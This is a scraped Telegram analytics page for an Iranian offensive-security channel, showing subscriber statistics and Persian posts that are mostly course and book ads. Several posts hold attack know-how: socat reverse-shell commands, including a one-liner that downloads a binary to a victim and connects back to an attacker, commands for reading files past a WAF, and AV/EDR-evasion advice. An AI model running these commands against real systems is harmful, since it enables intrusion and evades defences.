P.F.K Security
Открыть в Telegram
APT / Exploit / Malware / ICS / OT / Vulnerability Analysis / SE
БольшеИран91 472Категория не указана
2 113
Подписчики
Нет данных24 часа
+77 дней
+1730 дней
Загружаем данные
Похожие каналы
Облако тегов
Нет данных
Возникли проблемы? Пожалуйста, обновите страницу или обратитесь к нашему support-менеджеру .
Входящие и исходящие упоминания
---
---
---
---
---
---
Привлечение подписчиков
ноябрь '26нояб. '26
ноябрь '26
+24
в 2 каналах
октябрь '26
+1 247
в 110 каналах
Get PRO
сентябрь '260
в 135 каналах
Get PRO
август '260
в 134 каналах
Get PRO
июль '260
в 99 каналах
Get PRO
июнь '260
в 2 каналах
Get PRO
май '260
в 0 каналах
Get PRO
апрель '260
в 0 каналах
Get PRO
март '260
в 0 каналах
Get PRO
февраль '260
в 5 каналах
Get PRO
январь '260
в 0 каналах
Get PRO
декабрь '250
в 4 каналах
Get PRO
ноябрь '250
в 3 каналах
Get PRO
октябрь '250
в 1 каналах
Get PRO
сентябрь '250
в 3 каналах
Get PRO
август '250
в 2 каналах
Get PRO
июль '250
в 1 каналах
Get PRO
июнь '250
в 0 каналах
Get PRO
май '250
в 3 каналах
Get PRO
апрель '250
в 2 каналах
Get PRO
март '250
в 2 каналах
Get PRO
февраль '250
в 1 каналах
Get PRO
январь '250
в 0 каналах
Get PRO
декабрь '240
в 0 каналах
Get PRO
ноябрь '240
в 0 каналах
Get PRO
октябрь '24
+55
в 0 каналах
Get PRO
сентябрь '24
+36
в 1 каналах
Get PRO
август '240
в 0 каналах
Get PRO
июль '240
в 0 каналах
Get PRO
июнь '240
в 0 каналах
Get PRO
май '240
в 0 каналах
Get PRO
апрель '240
в 0 каналах
Get PRO
март '240
в 0 каналах
Get PRO
февраль '240
в 0 каналах
Get PRO
январь '240
в 0 каналах
Get PRO
декабрь '230
в 0 каналах
Get PRO
ноябрь '230
в 0 каналах
Get PRO
октябрь '23
+9
в 0 каналах
Get PRO
сентябрь '23
+51
в 0 каналах
Get PRO
август '23
+17
в 0 каналах
Get PRO
июль '23
+17
в 0 каналах
Get PRO
июнь '23
+19
в 0 каналах
Get PRO
май '23
+21
в 0 каналах
Get PRO
апрель '23
+138
в 0 каналах
Get PRO
март '23
+145
в 0 каналах
Get PRO
февраль '23
+214
в 0 каналах
Get PRO
январь '23
+165
в 0 каналах
Get PRO
декабрь '22
+296
в 0 каналах
| Дата | Привлечение подписчиков | Упоминания | Каналы | |
| 13 ноября | 0 | |||
| 12 ноября | +1 | |||
| 11 ноября | +1 | |||
| 10 ноября | +3 | |||
| 09 ноября | +7 | |||
| 08 ноября | +1 | |||
| 07 ноября | 0 | |||
| 06 ноября | +1 | |||
| 05 ноября | +2 | |||
| 04 ноября | +1 | |||
| 03 ноября | +2 | |||
| 02 ноября | +3 | |||
| 01 ноября | +2 |
Посты канала
Repost from TryHackBox
درود دوستان
وب‌سایت آماده شده و در حال حاضر تنها به چند اصلاح جزئی نیاز دارد.
از دوستانی که به زبان TypeScript تسلط دارند و تمایل دارند به‌صورت داوطلبانه در تکمیل و بهبود وب‌سایت مشارکت کنند، دعوت میکنیم برای هماهنگی و دریافت جزئیات بیشتر به آیدی زیر پیام بدهند:
@ThbxSupport
از همراهی و مشارکت شما در توسعه این مجموعه سپاسگزاریم.
| 2 |  📌 برگزاری جلسه ویس چت :
با درود خدمت دوستان و همراهان عزیز،
در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Defensive Security به صورت ویس چت برگزار کنیم.
🎙 مهمان برنامه
👤 مهندس : آرش نریمان پور
📅 زمان برگزاری: امشب
📍 پلتفرم: گوگل میت
🕗 ساعت : 20:00
🔖 لینک جلسه :
meet.google.com/nhr-vtgc-uwn
⁉️ موضوع جلسه :
📌 تحلیل و شکار تهدیدات در محیط Windows و Active Directory با استفاده از Sysmon، Windows Event Logs و Splunk
🔔 نکته مهم:
جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید .
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🆔 @RadioZeroPod
🆔 @TryHackBox | 32 |
| 3 |  📌 Python For Pentesters
⭕ معرفی دوره:
در طول دوره، مفاهیم برنامه نویسی را در قالب تمرین ها و پروژه های مرتبط با امنیت سایبری به کار میگیرید. به‌جای یادگیری صرف Socket Programming، با ایجاد ارتباط TCP، دریافت اطلاعات سرویس های شبکه و توسعه ابزار Service Discovery آشنا میشوید.
هدف دوره، آموزش Python به‌عنوان ابزاری کاربردی برای متخصصان امنیت است؛ تا بتوانید اسکریپت اختصاصی بنویسید، خروجی ابزارها را پردازش کنید و قابلیت‌های امنیتی را در قالب برنامه‌ای ساختاریافته ترکیب کنید.
⭕ توضیحات کامل
⭕ مشاهده سرفصل ها
◽ مدرس: محمد امین طالبی
◽ نحوه برگزاری: آفلاین
▫️ مدت : 30 ساعت
⚠️ دوره در حال تکمیل است و ویدئوها به‌صورت مرحله‌ای منتشر می‌شوند. دانشجویان به‌تدریج به محتوای جدید دسترسی خواهند داشت.
💰 قیمت اصلی: ۳,۴۹۰,۰۰۰ تومان
🔥 قیمت ویژه عرضه اولیه: ۲,۹۹۰,۰۰۰ تومان
▫️برای ۵ نفر اول : ۲,۴۹۰,۰۰۰ تومان
خریداران عرضه اولیه با همین مبلغ به محتوای کامل دوره دسترسی خواهند داشت و پس از تکمیل دوره نیازی به پرداخت مابه‌التفاوت ندارند.
📌 جهت خرید،به ایدی زیر پیام دهید:
@ThbxSupport
@TryHackBox | 98 |
| 4 |  🎙 دعوت به همکاری در تیم پادکست و گفتگوهای امنیت سایبری
مجموعه TryHackBox برای توسعه مجموعه پادکست ها و برگزاری گفتگوهای تخصصی با فعالان و متخصصان حوزه امنیت سایبری، از علاقه‌مندان برای پیوستن به تیم تولید محتوا دعوت میکند.
زمینه‌های همکاری:
اجرا و گویندگی پادکست
تحقیق و سناریونویسی
اجرای گفتگو و مصاحبه با متخصصان
تولید و تدوین محتوای صوتی
اگر به دنیای پادکست علاقه مندی، فن بیان خوبی داری یا دوست داری در کنار افراد فعال حوزه امنیت سایبری تجربه کسب کنی، خوشحال میشیم عضوی از تیم ما باشی.
نوع همکاری: داوطلبانه
📩 برای اعلام آمادگی و آشنایی بیشتر، پیام بدید:
@ThbxSupport | 82 |
| 5 | 📌 برگزاری جلسه ویس چت :
با درود خدمت دوستان و همراهان عزیز،
در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Offensive Security به صورت ویس چت برگزار کنیم.
🎙 مهمان برنامه
👤 مهندس : میثم منصف
📅 زمان برگزاری: امشب
📍 پلتفرم: گوگل میت
🕗 ساعت : 21:00
🔖 لینک جلسه :
http://meet.google.com/vdx-odgs-bbj
⁉️ موضوع جلسه :
📌 متدولوژی حرفه‌ای Web Pentesting
🔔 نکته مهم:
جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید .
➖➖➖➖➖➖➖➖➖➖➖➖➖➖
🆔 @RadioZeroPod
🆔 @TryHackBox | 19 |
| 6 | 📌 سه مسیر برای پیدا کردن Vulnerability
وقتی یک نرم‌افزار رو برای کشف Vulnerability بررسی میکنی، فقط یک راه برای تحقیق نداری.
در Vulnerability Research سه حوزه اصلی وجود داره که هرکدوم از زاویه متفاوتی به نرم‌افزار نگاه میکنن:
1. Code Review
اینجا با سورس کد سروکار داری.
کد رو دنبال میکنی تا بفهمی داده ها از کجا وارد برنامه میشن، چطور پردازش میشن و در چه شرایطی ممکنه یک ضعف امنیتی ایجاد بشه.
مثلاً ممکنه یک ورودی بدون اعتبارسنجی مناسب به یک تابع حساس برسه.
هدف فقط پیدا کردن کد مشکوک نیست؛ باید بفهمی این مسیر واقعاً چه پیامدی داره.
2. Reverse Engineering
همیشه سورس‌کد در دسترس نیست.
گاهی فقط یک Binary داری و باید بفهمی نرم‌افزار در سطح پایین چطور کار میکنه.
در Reverse Engineering ساختار برنامه، توابع، جریان اجرا و رفتار داخلی اون رو بررسی میکنی.
این روش به‌خصوص زمانی اهمیت پیدا میکنه که با نرم‌افزارهای Closed-source یا Componentهایی مواجهی که کدشون منتشر نشده.
3. Fuzzing
در این روش، ورودی های مختلف و گاهی غیرمنتظره به برنامه داده میشن تا رفتارهای غیرعادی مشخص بشن.
به‌جای اینکه تمام حالت‌های ممکن رو دستی آزمایش کنی، فرآیند تست ورودی ها رو تا حد زیادی خودکار میکنی.
برای مثال، Fuzzer ممکنه ورودی ای تولید کنه که باعث Crash، خطای حافظه یا رفتار غیرمنتظره برنامه بشه.
البته هر Crash یک Vulnerability نیست. نتیجه باید بررسی و از نظر امنیتی اعتبارسنجی بشه.
این سه حوزه جایگزین یکدیگر نیستند.
ممکنه با Code Review یک مسیر مشکوک پیدا کنی، با Fuzzing اون رو آزمایش کنی و برای تحلیل دقیق‌تر رفتار Binary سراغ Reverse Engineering بری.
یک Researcher خوب فقط ابزارهای این حوزه‌ها رو نمیشناسه؛ میدونه چه زمانی باید از هرکدوم استفاده کنه.
#از_روز_صفر_تا_زیرو_دی #VulnerabilityResearch #CodeReview #ReverseEngineering #Fuzzing #ZeroDay
@PfkSecurity | 291 |
| 7 | پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید:
https://antiscan.me/
https://metadefender.opswat.com/
منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing:
https://github.com/CMEPW/BypassAV
https://github.com/tkmru/awesome-edr-bypass
https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass
https://github.com/NUL0x4C/AtomPePacker
@PfkSecurity | 888 |
| 8 | پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید:
https://antiscan.me/
https://metadefender.opswat.com/
منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing:
https://github.com/CMEPW/BypassAV
https://github.com/tkmru/awesome-edr-bypass
https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass
https://github.com/NUL0x4C/AtomPePacker
@PfkSecurity | 1 |
| 9 | پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت های زیر آزمایش کنید:
https://antiscan.me/
https://metadefender.opswat.com/
منابع مفید برای مطالعه تکنیک های AV/EDR Bypassing:
https://github.com/CMEPW/BypassAV
https://github.com/tkmru/awesome-edr-bypass
https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass
https://github.com/NUL0x4C/AtomPePacker
@PfkSecurity | 1 |
| 10 |  📚 مجموعه کتابهای کاربردی در دنیای امنیت
📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته.
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۵۰,۰۰۰ تومان
📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۵۰,۰۰۰ تومان
📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی
📕 جزئیات بیشتر کتاب
💰 قیمت : ۳۶۰,۰۰۰ تومان
📖 کتابچه Kerberos For Pentesters
📕 جزئیات بیشتر کتاب
💰 قیمت : ۲۶۹ تومان
ممکنه در آینده قیمت کتاب ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب هاست.
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport | 218 |
| 11 |  📌 دوره: راهنمای جامع ابزار Mimikatz
💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد.
قدیمی شدن یک ابزار لزوماً به معنای بی استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم های داخلی، درک تکنیک ها و توانایی سفارشی سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد.
فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می کند.
📌 توضیحات کامل
◽مدرس : مهندس سجاد تیموری
◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه
◻ دوره : آفلاین
⭕ دوره دارای گروه پشتیبانی می باشد.
💰 قیمت : ۲,۰۰۰,۰۰۰ تومان
💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان
📌 جهت خرید،به ایدی زیر پیام دهید:
@ThbxSupport
Group
@TryHackBox | 105 |
| 12 | 📢 دعوت به همکاری جذب مدرس دوره Python for Pentesters
مجموعه TryHackBox برای برگزاری دوره تخصصی Python for Pentesters از افراد متخصص و باتجربه در زمینه برنامه‌نویسی Python و امنیت سایبری دعوت به همکاری می کند.
هدف این دوره، آموزش کاربردی Python با تمرکز بر نیازهای واقعی متخصصان تست نفوذ و توسعه ابزارهای اختصاصی در حوزه Offensive Security است.
نحوه همکاری:
همکاری در طراحی محتوای آموزشی، ضبط و تدریس جلسات و توسعه پروژه های عملی دوره خواهد بود. جزئیات مدل همکاری و شرایط مالی پس از بررسی سوابق مشخص می شود.
🎯 اگر در این حوزه تجربه عملی و تخصص کافی دارید و علاقه مند به همکاری در تولید یک دوره تخصصی و پروژه محور هستید، رزومه یا معرفی کوتاهی از سوابق خود را برای ما ارسال کنید.
📌 سرفصل ها دوره در فایل موجود است .
📩 جهت اعلام آمادگی و دریافت اطلاعات بیشتر، از طریق پیام خصوصی با ما در ارتباط باشید:
@THBxSupport | 179 |
| 13 |  روز بزرگداشت کوروش بزرگ بر تمامی ایرانیان خجسته باد.
۷ آبان، روز بزرگداشت کوروش بزرگ فرصتی است برای مرور تاریخ، تأمل در ریشه‌ها و یادآوری اینکه گذشته همیشه بخشی از هویت ماست. نه ستایش بی پایان، نه تحقیر، فقط مرور واقعیت و یادآوری اثرگذاری یک انسان در تاریخ ایران
@TryHackBox | 28 |
| 14 | 🔥 سری Bash برای باگ هانترها
قسمت ۲
دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن:
rlwrap -cAr nc -lvnp <port>
یا
rlwrap -f. -r nc -lnvp <port>
حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts).
برای full interactive keyboard controls، از socat interactive shell استفاده کن:
در سمت attacker:
socat file:tty,raw,echo=0 tcp-listen:<port>
اگر error داد، امتحان کن:
socat file:$(tty),raw,echo=0 tcp-listen:<port>
در سمت victim (برای full TTY reverse shell):
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن:
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>
برای stop کردن socat:
ps aux | grep socat
Kill -9 socat <PID>
نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.
کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟
@TryHackBox
#باگ_بانتی | 34 |
| 15 | 🔥 سری Bypass برای باگ هانترها
قسمت ۲
Crazy WAF Bypass:
cat /etc/hosts - WAF رو trigger میکنه
xxd -p /etc/hosts | xxd -p -r
xargs -d '\n' -I{} echo {} < /etc/hosts
perl -pe '' /etc/hosts
sed '' /etc/hosts
awk '{print}' /etc/hosts
dd if=/etc/hosts 2>/dev/null
کدوم پیلود از قسمت 2 (مثل xxd pipe یا awk print) رو برای WAF bypass تست کردی که file رو dump کرد و bounty شد؟ تجربت رو کامنت کن.
کدوم یکی رو اول تست میکنی یا منتظر قسمت بعدی هستی؟
@TryHackBox
#باگ_بانتی | 17 |
| 16 |  ⚡لیستی از ۱۰۰ آسیب پذیری وب
@TryHackBox
#آسیب_پذیری | 52 |
| 17 |  📚 مجموعه کتابهای کاربردی در دنیای امنیت سایبری
به مناسبت بزرگداشت کوروش بزرگ، تمامی کتابهای مجموعه را با ۳۰٪ تخفیف ویژه تهیه کنید.
📖 Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory
از مقدماتی تا پیشرفته
💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان
🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان
📖 Wireshark برای ردتیمرها: از پایه تا پیشرفته
💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان
🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان
📖 شکار عملی باگ بانتی: از Recon تا Bounty واقعی
متدولوژی، شناسایی و بررسی آسیب‌پذیری‌های دنیای واقعی
💰 قیمت اصلی: ۳۶۰,۰۰۰ تومان
🔥 قیمت با تخفیف: ۲۵۲,۰۰۰ تومان
📖 Kerberos For Pentesters
💰 قیمت اصلی: ۲۶۹,۰۰۰ تومان
🔥 قیمت با تخفیف: ۱۸۸,۳۰۰ تومان
📌 توجه: این تخفیف به مناسبت بزرگداشت کوروش بزرگ در نظر گرفته شده است.
📌 جهت خرید به ایدی زیر پیام دهید:
@THBxSupport | 52 |
| 18 | ۷ آبان، روز بزرگداشت کوروش بزرگ؛ بنیان گذار شکوه شاهنشاهی ایران و نماد خرد، اقتدار و آزادگی.
ما امروز، بیش از هر زمان، به یادآوری ریشه هایمان، پاسداری از هویت ملی نیاز داریم.
@pfksecurity | 741 |
| 19 | اینم کانال VIPپولی ما رایگان خدمت شما🔥 | 19 |
| 20 | ☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️☑️
به مناسبت 2 ساله شدن عمر چنلمون چنل VIP رو که قیمت یک میلیون هست به 100 نفر اول رایگان میدیم و بعد از 100 نفر به طور خودکار لینک باطل میشه جوین بدین👇👇👇
⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️⚡️ | 51 |
